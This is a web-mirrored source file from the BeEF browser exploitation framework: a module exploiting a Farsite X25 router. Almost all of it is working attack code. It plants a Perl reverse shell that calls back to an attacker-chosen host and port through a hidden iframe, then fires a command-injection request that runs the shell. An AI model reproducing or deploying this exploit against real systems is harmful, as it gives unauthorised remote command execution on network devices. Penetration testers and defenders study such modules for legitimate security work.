Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/farsite_x25_remote_shell/command.js
1154 views
1
//
2
beef.execute(function() {
3
4
var rhost = '<%= @rhost %>';
5
var scheme = '<%= @scheme %>';
6
var lhost = '<%= @lhost %>';
7
var lport = '<%= @lport %>';
8
9
writefile = function() {
10
var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}';
11
revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,"' + lhost + ':' + lport +'");';
12
revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};';
13
var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe();
14
var uri = scheme + '://' + rhost + "/fsSaveUIPersistence.php?strSubmitData=" + revshell;
15
//About to hit uri
16
x25w_<%= @command_id %>.setAttribute('src', uri);
17
};
18
19
exploit = function() {
20
//Command injecting on the router
21
var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe();
22
var uri = scheme + '://' + rhost + "/fsx25MonProxy.php?strSubmitData=start+|perl</http/htdocs/fsUI.xyz;echo";
23
x25e_<%= @command_id %>.setAttribute('src', uri);
24
};
25
26
try {
27
writefile();
28
setTimeout(exploit,5000);
29
} catch (e) {
30
beef.debug(peer + " - Exploit failed: " + e.message);
31
}
32
33
});
34
35